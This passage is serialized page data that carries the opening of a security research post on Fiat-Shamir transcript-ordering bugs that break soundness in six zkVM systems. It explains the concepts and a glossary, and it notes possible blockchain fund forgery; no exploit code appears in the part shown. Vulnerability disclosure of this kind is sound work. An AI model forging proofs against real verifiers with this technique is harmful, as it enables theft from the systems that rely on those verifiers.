851},[109976,109980,109984],{"type":24,"tag":930,"props":109977,"children":109978},{"style":1079},[109979],{"type":30,"value":5645},{"type":24,"tag":930,"props":109981,"children":109982},{"style":1002},[109983],{"type":30,"value":2484},{"type":24,"tag":930,"props":109985,"children":109986},{"style":959},[109987],{"type":30,"value":5654},{"type":24,"tag":930,"props":109989,"children":109990},{"class":932,"line":1919},[109991],{"type":24,"tag":930,"props":109992,"children":109993},{"style":959},[109994],{"type":30,"value":1840},{"type":24,"tag":33,"props":109996,"children":109997},{},[109998,109999,110004,110005,110010,110011,110016,110017,110022,110023,110028],{"type":30,"value":5666},{"type":24,"tag":156,"props":110000,"children":110002},{"className":110001},[],[110003],{"type":30,"value":1703},{"type":30,"value":5673},{"type":24,"tag":156,"props":110006,"children":110008},{"className":110007},[],[110009],{"type":30,"value":5679},{"type":30,"value":5681},{"type":24,"tag":156,"props":110012,"children":110014},{"className":110013},[],[110015],{"type":30,"value":5687},{"type":30,"value":5689},{"type":24,"tag":156,"props":110018,"children":110020},{"className":110019},[],[110021],{"type":30,"value":2554},{"type":30,"value":5696},{"type":24,"tag":156,"props":110024,"children":110026},{"className":110025},[],[110027],{"type":30,"value":3655},{"type":30,"value":5703},{"type":24,"tag":33,"props":110030,"children":110031},{},[110032,110033,110038,110039,110044,110045,110050],{"type":30,"value":5708},{"type":24,"tag":156,"props":110034,"children":110036},{"className":110035},[],[110037],{"type":30,"value":2554},{"type":30,"value":5715},{"type":24,"tag":156,"props":110040,"children":110042},{"className":110041},[],[110043],{"type":30,"value":5721},{"type":30,"value":5723},{"type":24,"tag":37,"props":110046,"children":110048},{"href":5726,"rel":110047},[41],[110049],{"type":30,"value":5730},{"type":30,"value":436},{"type":24,"tag":33,"props":110052,"children":110053},{},[110054,110055,110060],{"type":30,"value":5736},{"type":24,"tag":156,"props":110056,"children":110058},{"className":110057},[],[110059],{"type":30,"value":2554},{"type":30,"value":5743},{"type":24,"tag":478,"props":110062,"children":110063},{},[110064,110079,110095,110105,110109],{"type":24,"tag":100,"props":110065,"children":110066},{},[110067,110068,110073,110074],{"type":30,"value":5751},{"type":24,"tag":156,"props":110069,"children":110071},{"className":110070},[],[110072],{"type":30,"value":161},{"type":30,"value":5758},{"type":24,"tag":156,"props":110075,"children":110077},{"className":110076},[],[110078],{"type":30,"value":5764},{"type":24,"tag":100,"props":110080,"children":110081},{},[110082,110083,110088,110089,110094],{"type":30,"value":5769},{"type":24,"tag":156,"props":110084,"children":110086},{"className":110085},[],[110087],{"type":30,"value":2554},{"type":30,"value":5776},{"type":24,"tag":156,"props":110090,"children":110092},{"className":110091},[],[110093],{"type":30,"value":2554},{"type":30,"value":5783},{"type":24,"tag":100,"props":110096,"children":110097},{},[110098,110099,110104],{"type":30,"value":5788},{"type":24,"tag":156,"props":110100,"children":110102},{"className":110101},[],[110103],{"type":30,"value":2554},{"type":30,"value":5795},{"type":24,"tag":100,"props":110106,"children":110107},{},[110108],{"type":30,"value":5800},{"type":24,"tag":100,"props":110110,"children":110111},{},[110112],{"type":30,"value":5805},{"type":24,"tag":33,"props":110114,"children":110115},{},[110116,110117,110122,110123,110128],{"type":30,"value":5810},{"type":24,"tag":156,"props":110118,"children":110120},{"className":110119},[],[110121],{"type":30,"value":190},{"type":30,"value":5817},{"type":24,"tag":156,"props":110124,"children":110126},{"className":110125},[],[110127],{"type":30,"value":2554},{"type":30,"value":5824},{"type":24,"tag":33,"props":110130,"children":110131},{},[110132,110133,110138,110139,110144,110145,110150,110151,110156],{"type":30,"value":5829},{"type":24,"tag":156,"props":110134,"children":110136},{"className":110135},[],[110137],{"type":30,"value":161},{"type":30,"value":5836},{"type":24,"tag":156,"props":110140,"children":110142},{"className":110141},[],[110143],{"type":30,"value":161},{"type":30,"value":5843},{"type":24,"tag":156,"props":110146,"children":110148},{"className":110147},[],[110149],{"type":30,"value":5849},{"type":30,"value":5851},{"type":24,"tag":156,"props":110152,"children":110154},{"className":110153},[],[110155],{"type":30,"value":2554},{"type":30,"value":5858},{"type":24,"tag":33,"props":110158,"children":110159},{},[110160],{"type":30,"value":5863},{"type":24,"tag":33,"props":110162,"children":110163},{},[110164],{"type":30,"value":5868},{"type":24,"tag":33,"props":110166,"children":110167},{},[110168],{"type":30,"value":5873},{"type":24,"tag":25,"props":110170,"children":110171},{"id":5876},[110172],{"type":30,"value":5879},{"type":24,"tag":33,"props":110174,"children":110175},{},[110176],{"type":30,"value":5884},{"type":24,"tag":478,"props":110178,"children":110179},{},[110180,110184,110188,110192,110196],{"type":24,"tag":100,"props":110181,"children":110182},{},[110183],{"type":30,"value":5892},{"type":24,"tag":100,"props":110185,"children":110186},{},[110187],{"type":30,"value":5897},{"type":24,"tag":100,"props":110189,"children":110190},{},[110191],{"type":30,"value":5902},{"type":24,"tag":100,"props":110193,"children":110194},{},[110195],{"type":30,"value":5907},{"type":24,"tag":100,"props":110197,"children":110198},{},[110199,110200,110205],{"type":30,"value":5912},{"type":24,"tag":156,"props":110201,"children":110203},{"className":110202},[],[110204],{"type":30,"value":243},{"type":30,"value":5919},{"type":24,"tag":33,"props":110207,"children":110208},{},[110209,110210,110215,110216,110221,110222,110227],{"type":30,"value":5924},{"type":24,"tag":156,"props":110211,"children":110213},{"className":110212},[],[110214],{"type":30,"value":243},{"type":30,"value":5931},{"type":24,"tag":156,"props":110217,"children":110219},{"className":110218},[],[110220],{"type":30,"value":318},{"type":30,"value":5938},{"type":24,"tag":156,"props":110223,"children":110225},{"className":110224},[],[110226],{"type":30,"value":243},{"type":30,"value":5945},{"type":24,"tag":33,"props":110229,"children":110230},{},[110231],{"type":30,"value":5950},{"type":24,"tag":33,"props":110233,"children":110234},{},[110235],{"type":30,"value":5955},{"type":24,"tag":5957,"props":110237,"children":110238},{},[110239],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":110241},[110242,110243,110244,110251,110255,110256],{"id":70,"depth":984,"text":73},{"id":86,"depth":984,"text":89},{"id":127,"depth":984,"text":130,"children":110245},[110246,110247,110248,110249,110250],{"id":153,"depth":993,"text":161},{"id":195,"depth":993,"text":198},{"id":222,"depth":993,"text":225},{"id":248,"depth":993,"text":243},{"id":318,"depth":993,"text":329},{"id":381,"depth":984,"text":5974,"children":110252},[110253,110254],{"id":439,"depth":993,"text":442},{"id":628,"depth":993,"text":631},{"id":872,"depth":984,"text":878},{"id":2597,"depth":984,"text":2603,"children":110257},[110258,110259],{"id":2658,"depth":993,"text":2661},{"id":2719,"depth":993,"text":2722},{"_path":110261,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":110262,"description":110263,"date":110264,"author":110265,"image":110268,"isFeatured":16,"onBlogPage":16,"tags":110270,"body":110272,"_type":5983,"_id":126077,"_source":5985,"_file":126078,"_stem":126079,"_extension":5988},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[110266,110267],"himanshu","valter",{"src":110269,"width":14,"height":15},"/posts/zkvms-unfaithful-claims/title.png",[110271],"zkVM",{"type":21,"children":110273,"toc":126041},[110274,110279,110321,110334,110337,110343,110348,110476,110479,110485,110491,110496,110528,110676,110681,110804,110815,110826,110849,110860,110865,110898,110906,110911,110914,110920,110925,110931,110936,110941,110949,110967,111108,111113,111119,111212,111946,112014,112025,112033,112507,112513,112952,113292,113445,113450,114338,114494,114500,114592,114597,115182,115632,115708,115714,115719,115788,115798,115814,115824,115885,116304,116336,116346,116521,116526,116536,117136,117324,117342,117345,117351,117356,117364,117396,117758,117763,117848,117851,117857,117865,117870,117873,117879,117884,117892,117900,117908,117916,117949,117957,117965,118056,118307,118634,118642,118672,118842,119168,119173,119178,119195,119198,119203,119208,119220,119232,119823,119835,119847,119854,119862,119874,119882,119897,119902,120182,120201,120296,120315,120331,120334,120340,120345,120350,120357,120365,120372,120380,120393,120411,120871,120973,120978,120983,120999,121002,121008,121013,121025,121036,121041,121431,121438,121446,121471,121491,121747,121758,121777,122161,122507,122737,122896,123056,123624,123629,123655,123658,123664,123669,123676,123684,123697,123769,123780,123788,123798,123806,123817,124091,124180,124209,124212,124217,124351,124363,124370,124375,124528,124554,124561,124569,124574,124640,124645,125035,125122,125138,125141,125147,125152,125158,125258,125317,125322,125328,125333,125341,125346,125352,125357,125362,125368,125373,125376,125382,125388,125393,125398,125403,125408,125413,125416,125422,125585,125590,125593,125598,125609,125926,125931,125955,125960,125978,125983,125986,125992,125997,126002,126012,126017,126027,126037],{"type":24,"tag":33,"props":110275,"children":110276},{},[110277],{"type":30,"value":110278},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":24,"tag":33,"props":110280,"children":110281},{},[110282,110284,110289,110290,110295,110296,110301,110302,110307,110308,110313,110314,110319],{"type":30,"value":110283},"We found six systems where this faithfulness breaks. Across ",{"type":24,"tag":275,"props":110285,"children":110286},{},[110287],{"type":30,"value":110288},"Jolt",{"type":30,"value":962},{"type":24,"tag":275,"props":110291,"children":110292},{},[110293],{"type":30,"value":110294},"Nexus",{"type":30,"value":962},{"type":24,"tag":275,"props":110297,"children":110298},{},[110299],{"type":30,"value":110300},"Cairo-M",{"type":30,"value":962},{"type":24,"tag":275,"props":110303,"children":110304},{},[110305],{"type":30,"value":110306},"Ceno",{"type":30,"value":962},{"type":24,"tag":275,"props":110309,"children":110310},{},[110311],{"type":30,"value":110312},"Expander",{"type":30,"value":9599},{"type":24,"tag":275,"props":110315,"children":110316},{},[110317],{"type":30,"value":110318},"Binius64",{"type":30,"value":110320},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":24,"tag":33,"props":110322,"children":110323},{},[110324,110326,110332],{"type":30,"value":110325},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":24,"tag":37,"props":110327,"children":110329},{"href":110328},"#challenges",[110330],{"type":30,"value":110331},"Challenges",{"type":30,"value":110333}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":24,"tag":21895,"props":110335,"children":110336},{},[],{"type":24,"tag":68,"props":110338,"children":110340},{"id":110339},"jargon-cheat-sheet",[110341],{"type":30,"value":110342},"Jargon Cheat Sheet",{"type":24,"tag":33,"props":110344,"children":110345},{},[110346],{"type":30,"value":110347},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":24,"tag":96,"props":110349,"children":110350},{},[110351,110361,110371,110381,110391,110401,110411,110421,110431,110441,110451,110461],{"type":24,"tag":100,"props":110352,"children":110353},{},[110354,110359],{"type":24,"tag":275,"props":110355,"children":110356},{},[110357],{"type":30,"value":110358},"Fiat-Shamir",{"type":30,"value":110360},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":24,"tag":100,"props":110362,"children":110363},{},[110364,110369],{"type":24,"tag":275,"props":110365,"children":110366},{},[110367],{"type":30,"value":110368},"Transcript",{"type":30,"value":110370},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":24,"tag":100,"props":110372,"children":110373},{},[110374,110379],{"type":24,"tag":275,"props":110375,"children":110376},{},[110377],{"type":30,"value":110378},"Polynomial Commitment",{"type":30,"value":110380},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":24,"tag":100,"props":110382,"children":110383},{},[110384,110389],{"type":24,"tag":275,"props":110385,"children":110386},{},[110387],{"type":30,"value":110388},"Sumcheck",{"type":30,"value":110390},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":24,"tag":100,"props":110392,"children":110393},{},[110394,110399],{"type":24,"tag":275,"props":110395,"children":110396},{},[110397],{"type":30,"value":110398},"MLE (Multilinear Extension)",{"type":30,"value":110400},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":24,"tag":100,"props":110402,"children":110403},{},[110404,110409],{"type":24,"tag":275,"props":110405,"children":110406},{},[110407],{"type":30,"value":110408},"Lookup / LogUp",{"type":30,"value":110410},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":24,"tag":100,"props":110412,"children":110413},{},[110414,110419],{"type":24,"tag":275,"props":110415,"children":110416},{},[110417],{"type":30,"value":110418},"AIR",{"type":30,"value":110420},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":24,"tag":100,"props":110422,"children":110423},{},[110424,110429],{"type":24,"tag":275,"props":110425,"children":110426},{},[110427],{"type":30,"value":110428},"STARK",{"type":30,"value":110430},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":24,"tag":100,"props":110432,"children":110433},{},[110434,110439],{"type":24,"tag":275,"props":110435,"children":110436},{},[110437],{"type":30,"value":110438},"FRI",{"type":30,"value":110440},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":24,"tag":100,"props":110442,"children":110443},{},[110444,110449],{"type":24,"tag":275,"props":110445,"children":110446},{},[110447],{"type":30,"value":110448},"OODS",{"type":30,"value":110450},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":24,"tag":100,"props":110452,"children":110453},{},[110454,110459],{"type":24,"tag":275,"props":110455,"children":110456},{},[110457],{"type":30,"value":110458},"GKR",{"type":30,"value":110460},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":24,"tag":100,"props":110462,"children":110463},{},[110464,110469,110471],{"type":24,"tag":275,"props":110465,"children":110466},{},[110467],{"type":30,"value":110468},"claimed_sum / opening_claim",{"type":30,"value":110470},": Prover-supplied values that feed into verification equations. ",{"type":24,"tag":275,"props":110472,"children":110473},{},[110474],{"type":30,"value":110475},"These are the usual suspects for binding bugs.",{"type":24,"tag":21895,"props":110477,"children":110478},{},[],{"type":24,"tag":68,"props":110480,"children":110482},{"id":110481},"what-are-we-even-breaking",[110483],{"type":30,"value":110484},"What Are We Even Breaking?",{"type":24,"tag":151,"props":110486,"children":110488},{"id":110487},"what-is-a-zkvm",[110489],{"type":30,"value":110490},"What is a zkVM?",{"type":24,"tag":33,"props":110492,"children":110493},{},[110494],{"type":30,"value":110495},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":24,"tag":33,"props":110497,"children":110498},{},[110499,110501,110526],{"type":30,"value":110500},"Formally, the verifier is convinced that there exists a valid trace ",{"type":24,"tag":156,"props":110502,"children":110504},{"className":110503},[7098,7099],[110505],{"type":24,"tag":930,"props":110506,"children":110508},{"className":110507},[7104],[110509],{"type":24,"tag":930,"props":110510,"children":110512},{"className":110511,"ariaHidden":7110},[7109],[110513],{"type":24,"tag":930,"props":110514,"children":110516},{"className":110515},[7115],[110517,110521],{"type":24,"tag":930,"props":110518,"children":110520},{"className":110519,"style":24685},[7120],[],{"type":24,"tag":930,"props":110522,"children":110524},{"className":110523,"style":24691},[7126,24690],[110525],{"type":30,"value":9100},{"type":30,"value":110527}," such that:",{"type":24,"tag":33,"props":110529,"children":110530},{},[110531],{"type":24,"tag":156,"props":110532,"children":110534},{"className":110533},[7098,7099],[110535],{"type":24,"tag":930,"props":110536,"children":110538},{"className":110537},[7104],[110539],{"type":24,"tag":930,"props":110540,"children":110542},{"className":110541,"ariaHidden":7110},[7109],[110543,110587,110662],{"type":24,"tag":930,"props":110544,"children":110546},{"className":110545},[7115],[110547,110551,110557,110561,110566,110570,110574,110579,110583],{"type":24,"tag":930,"props":110548,"children":110550},{"className":110549,"style":96027},[7120],[],{"type":24,"tag":930,"props":110552,"children":110554},{"className":110553},[7126],[110555],{"type":30,"value":110556},"∃",{"type":24,"tag":930,"props":110558,"children":110560},{"className":110559,"style":7304},[7206],[],{"type":24,"tag":930,"props":110562,"children":110564},{"className":110563,"style":24691},[7126,24690],[110565],{"type":30,"value":9100},{"type":24,"tag":930,"props":110567,"children":110569},{"className":110568,"style":7304},[7206],[],{"type":24,"tag":930,"props":110571,"children":110573},{"className":110572,"style":7304},[7206],[],{"type":24,"tag":930,"props":110575,"children":110577},{"className":110576},[7309],[110578],{"type":30,"value":476},{"type":24,"tag":930,"props":110580,"children":110582},{"className":110581,"style":7304},[7206],[],{"type":24,"tag":930,"props":110584,"children":110586},{"className":110585,"style":7304},[7206],[],{"type":24,"tag":930,"props":110588,"children":110590},{"className":110589},[7115],[110591,110595,110606,110611,110616,110621,110625,110630,110635,110639,110644,110649,110653,110658],{"type":24,"tag":930,"props":110592,"children":110594},{"className":110593,"style":7227},[7120],[],{"type":24,"tag":930,"props":110596,"children":110598},{"className":110597},[7126],[110599],{"type":24,"tag":930,"props":110600,"children":110603},{"className":110601},[7126,110602],"mathsf",[110604],{"type":30,"value":110605},"VM",{"type":24,"tag":930,"props":110607,"children":110609},{"className":110608},[24818],[110610],{"type":30,"value":1010},{"type":24,"tag":930,"props":110612,"children":110614},{"className":110613,"style":24691},[7126,24690],[110615],{"type":30,"value":24694},{"type":24,"tag":930,"props":110617,"children":110619},{"className":110618},[7238],[110620],{"type":30,"value":7241},{"type":24,"tag":930,"props":110622,"children":110624},{"className":110623,"style":7245},[7206],[],{"type":24,"tag":930,"props":110626,"children":110628},{"className":110627,"style":98132},[7126,24690],[110629],{"type":30,"value":9246},{"type":24,"tag":930,"props":110631,"children":110633},{"className":110632},[7238],[110634],{"type":30,"value":7241},{"type":24,"tag":930,"props":110636,"children":110638},{"className":110637,"style":7245},[7206],[],{"type":24,"tag":930,"props":110640,"children":110642},{"className":110641,"style":24691},[7126,24690],[110643],{"type":30,"value":9100},{"type":24,"tag":930,"props":110645,"children":110647},{"className":110646},[24840],[110648],{"type":30,"value":6249},{"type":24,"tag":930,"props":110650,"children":110652},{"className":110651,"style":7304},[7206],[],{"type":24,"tag":930,"props":110654,"children":110656},{"className":110655},[7309],[110657],{"type":30,"value":25435},{"type":24,"tag":930,"props":110659,"children":110661},{"className":110660,"style":7304},[7206],[],{"type":24,"tag":930,"props":110663,"children":110665},{"className":110664},[7115],[110666,110670],{"type":24,"tag":930,"props":110667,"children":110669},{"className":110668,"style":24685},[7120],[],{"type":24,"tag":930,"props":110671,"children":110674},{"className":110672,"style":110673},[7126,24690],"margin-right:0.22222em;",[110675],{"type":30,"value":9276},{"type":24,"tag":33,"props":110677,"children":110678},{},[110679],{"type":30,"value":110680},"where:",{"type":24,"tag":96,"props":110682,"children":110683},{},[110684,110714,110744,110774],{"type":24,"tag":100,"props":110685,"children":110686},{},[110687,110712],{"type":24,"tag":156,"props":110688,"children":110690},{"className":110689},[7098,7099],[110691],{"type":24,"tag":930,"props":110692,"children":110694},{"className":110693},[7104],[110695],{"type":24,"tag":930,"props":110696,"children":110698},{"className":110697,"ariaHidden":7110},[7109],[110699],{"type":24,"tag":930,"props":110700,"children":110702},{"className":110701},[7115],[110703,110707],{"type":24,"tag":930,"props":110704,"children":110706},{"className":110705,"style":24685},[7120],[],{"type":24,"tag":930,"props":110708,"children":110710},{"className":110709,"style":24691},[7126,24690],[110711],{"type":30,"value":24694},{"type":30,"value":110713}," = program/circuit description (public)",{"type":24,"tag":100,"props":110715,"children":110716},{},[110717,110742],{"type":24,"tag":156,"props":110718,"children":110720},{"className":110719},[7098,7099],[110721],{"type":24,"tag":930,"props":110722,"children":110724},{"className":110723},[7104],[110725],{"type":24,"tag":930,"props":110726,"children":110728},{"className":110727,"ariaHidden":7110},[7109],[110729],{"type":24,"tag":930,"props":110730,"children":110732},{"className":110731},[7115],[110733,110737],{"type":24,"tag":930,"props":110734,"children":110736},{"className":110735,"style":24685},[7120],[],{"type":24,"tag":930,"props":110738,"children":110740},{"className":110739,"style":98132},[7126,24690],[110741],{"type":30,"value":9246},{"type":30,"value":110743}," = public input",{"type":24,"tag":100,"props":110745,"children":110746},{},[110747,110772],{"type":24,"tag":156,"props":110748,"children":110750},{"className":110749},[7098,7099],[110751],{"type":24,"tag":930,"props":110752,"children":110754},{"className":110753},[7104],[110755],{"type":24,"tag":930,"props":110756,"children":110758},{"className":110757,"ariaHidden":7110},[7109],[110759],{"type":24,"tag":930,"props":110760,"children":110762},{"className":110761},[7115],[110763,110767],{"type":24,"tag":930,"props":110764,"children":110766},{"className":110765,"style":24685},[7120],[],{"type":24,"tag":930,"props":110768,"children":110770},{"className":110769,"style":110673},[7126,24690],[110771],{"type":30,"value":9276},{"type":30,"value":110773}," = claimed public output",{"type":24,"tag":100,"props":110775,"children":110776},{},[110777,110802],{"type":24,"tag":156,"props":110778,"children":110780},{"className":110779},[7098,7099],[110781],{"type":24,"tag":930,"props":110782,"children":110784},{"className":110783},[7104],[110785],{"type":24,"tag":930,"props":110786,"children":110788},{"className":110787,"ariaHidden":7110},[7109],[110789],{"type":24,"tag":930,"props":110790,"children":110792},{"className":110791},[7115],[110793,110797],{"type":24,"tag":930,"props":110794,"children":110796},{"className":110795,"style":24685},[7120],[],{"type":24,"tag":930,"props":110798,"children":110800},{"className":110799,"style":24691},[7126,24690],[110801],{"type":30,"value":9100},{"type":30,"value":110803}," = private witness/trace (registers, memory history, intermediate values)",{"type":24,"tag":33,"props":110805,"children":110806},{},[110807,110809,110813],{"type":30,"value":110808},"The verifier does ",{"type":24,"tag":275,"props":110810,"children":110811},{},[110812],{"type":30,"value":21590},{"type":30,"value":110814}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":24,"tag":33,"props":110816,"children":110817},{},[110818,110820,110825],{"type":30,"value":110819},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":24,"tag":275,"props":110821,"children":110822},{},[110823],{"type":30,"value":110824},"soundness",{"type":30,"value":476},{"type":24,"tag":96,"props":110827,"children":110828},{},[110829,110839],{"type":24,"tag":100,"props":110830,"children":110831},{},[110832,110837],{"type":24,"tag":275,"props":110833,"children":110834},{},[110835],{"type":30,"value":110836},"Completeness",{"type":30,"value":110838},": honest execution verifies.",{"type":24,"tag":100,"props":110840,"children":110841},{},[110842,110847],{"type":24,"tag":275,"props":110843,"children":110844},{},[110845],{"type":30,"value":110846},"Soundness",{"type":30,"value":110848},": false execution should not verify.",{"type":24,"tag":33,"props":110850,"children":110851},{},[110852,110854,110858],{"type":30,"value":110853},"We are breaking ",{"type":24,"tag":275,"props":110855,"children":110856},{},[110857],{"type":30,"value":110824},{"type":30,"value":110859}," in all six systems.",{"type":24,"tag":33,"props":110861,"children":110862},{},[110863],{"type":30,"value":110864},"In all six codebases, verification follows this abstract flow:",{"type":24,"tag":478,"props":110866,"children":110867},{},[110868,110873,110878,110883,110888,110893],{"type":24,"tag":100,"props":110869,"children":110870},{},[110871],{"type":30,"value":110872},"Fix public statement data.",{"type":24,"tag":100,"props":110874,"children":110875},{},[110876],{"type":30,"value":110877},"Parse proof payload (commitments, reduction messages, openings).",{"type":24,"tag":100,"props":110879,"children":110880},{},[110881],{"type":30,"value":110882},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":24,"tag":100,"props":110884,"children":110885},{},[110886],{"type":30,"value":110887},"Check constraint equations at sampled points.",{"type":24,"tag":100,"props":110889,"children":110890},{},[110891],{"type":30,"value":110892},"Check PCS/opening consistency.",{"type":24,"tag":100,"props":110894,"children":110895},{},[110896],{"type":30,"value":110897},"Accept only if all checks are jointly consistent.",{"type":24,"tag":33,"props":110899,"children":110900},{},[110901],{"type":24,"tag":140,"props":110902,"children":110905},{"alt":110903,"src":110904},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":24,"tag":33,"props":110907,"children":110908},{},[110909],{"type":30,"value":110910},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":24,"tag":21895,"props":110912,"children":110913},{},[],{"type":24,"tag":68,"props":110915,"children":110917},{"id":110916},"the-building-blocks",[110918],{"type":30,"value":110919},"The Building Blocks",{"type":24,"tag":33,"props":110921,"children":110922},{},[110923],{"type":30,"value":110924},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":24,"tag":151,"props":110926,"children":110928},{"id":110927},"the-fiat-shamir-transform",[110929],{"type":30,"value":110930},"The Fiat-Shamir Transform",{"type":24,"tag":33,"props":110932,"children":110933},{},[110934],{"type":30,"value":110935},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":24,"tag":33,"props":110937,"children":110938},{},[110939],{"type":30,"value":110940},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":24,"tag":33,"props":110942,"children":110943},{},[110944],{"type":24,"tag":140,"props":110945,"children":110948},{"alt":110946,"src":110947},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":24,"tag":33,"props":110950,"children":110951},{},[110952,110954,110958,110960,110965],{"type":30,"value":110953},"The hash (transcript) ",{"type":24,"tag":275,"props":110955,"children":110956},{},[110957],{"type":30,"value":9631},{"type":30,"value":110959}," include everything that affects verification ",{"type":24,"tag":275,"props":110961,"children":110962},{},[110963],{"type":30,"value":110964},"BEFORE",{"type":30,"value":110966}," the challenges derived from it are used.",{"type":24,"tag":33,"props":110968,"children":110969},{},[110970,110972,110998,111000,111025,111027,111052,111054,111079,111081,111106],{"type":30,"value":110971},"If some value ",{"type":24,"tag":156,"props":110973,"children":110975},{"className":110974},[7098,7099],[110976],{"type":24,"tag":930,"props":110977,"children":110979},{"className":110978},[7104],[110980],{"type":24,"tag":930,"props":110981,"children":110983},{"className":110982,"ariaHidden":7110},[7109],[110984],{"type":24,"tag":930,"props":110985,"children":110987},{"className":110986},[7115],[110988,110992],{"type":24,"tag":930,"props":110989,"children":110991},{"className":110990,"style":24685},[7120],[],{"type":24,"tag":930,"props":110993,"children":110995},{"className":110994,"style":110673},[7126,24690],[110996],{"type":30,"value":110997},"V",{"type":30,"value":110999}," affects a verification equation, but ",{"type":24,"tag":156,"props":111001,"children":111003},{"className":111002},[7098,7099],[111004],{"type":24,"tag":930,"props":111005,"children":111007},{"className":111006},[7104],[111008],{"type":24,"tag":930,"props":111009,"children":111011},{"className":111010,"ariaHidden":7110},[7109],[111012],{"type":24,"tag":930,"props":111013,"children":111015},{"className":111014},[7115],[111016,111020],{"type":24,"tag":930,"props":111017,"children":111019},{"className":111018,"style":24685},[7120],[],{"type":24,"tag":930,"props":111021,"children":111023},{"className":111022,"style":110673},[7126,24690],[111024],{"type":30,"value":110997},{"type":30,"value":111026}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":24,"tag":156,"props":111028,"children":111030},{"className":111029},[7098,7099],[111031],{"type":24,"tag":930,"props":111032,"children":111034},{"className":111033},[7104],[111035],{"type":24,"tag":930,"props":111036,"children":111038},{"className":111037,"ariaHidden":7110},[7109],[111039],{"type":24,"tag":930,"props":111040,"children":111042},{"className":111041},[7115],[111043,111047],{"type":24,"tag":930,"props":111044,"children":111046},{"className":111045,"style":24685},[7120],[],{"type":24,"tag":930,"props":111048,"children":111050},{"className":111049,"style":110673},[7126,24690],[111051],{"type":30,"value":110997},{"type":30,"value":111053},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":24,"tag":156,"props":111055,"children":111057},{"className":111056},[7098,7099],[111058],{"type":24,"tag":930,"props":111059,"children":111061},{"className":111060},[7104],[111062],{"type":24,"tag":930,"props":111063,"children":111065},{"className":111064,"ariaHidden":7110},[7109],[111066],{"type":24,"tag":930,"props":111067,"children":111069},{"className":111068},[7115],[111070,111074],{"type":24,"tag":930,"props":111071,"children":111073},{"className":111072,"style":24685},[7120],[],{"type":24,"tag":930,"props":111075,"children":111077},{"className":111076,"style":110673},[7126,24690],[111078],{"type":30,"value":110997},{"type":30,"value":111080},", which may allow it to choose ",{"type":24,"tag":156,"props":111082,"children":111084},{"className":111083},[7098,7099],[111085],{"type":24,"tag":930,"props":111086,"children":111088},{"className":111087},[7104],[111089],{"type":24,"tag":930,"props":111090,"children":111092},{"className":111091,"ariaHidden":7110},[7109],[111093],{"type":24,"tag":930,"props":111094,"children":111096},{"className":111095},[7115],[111097,111101],{"type":24,"tag":930,"props":111098,"children":111100},{"className":111099,"style":24685},[7120],[],{"type":24,"tag":930,"props":111102,"children":111104},{"className":111103,"style":110673},[7126,24690],[111105],{"type":30,"value":110997},{"type":30,"value":111107}," exactly so that the verification passes, even though it should not.",{"type":24,"tag":33,"props":111109,"children":111110},{},[111111],{"type":30,"value":111112},"This is the bug class we found in all six systems.",{"type":24,"tag":151,"props":111114,"children":111116},{"id":111115},"the-sumcheck-protocol",[111117],{"type":30,"value":111118},"The Sumcheck Protocol",{"type":24,"tag":33,"props":111120,"children":111121},{},[111122,111124,111210],{"type":30,"value":111123},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in 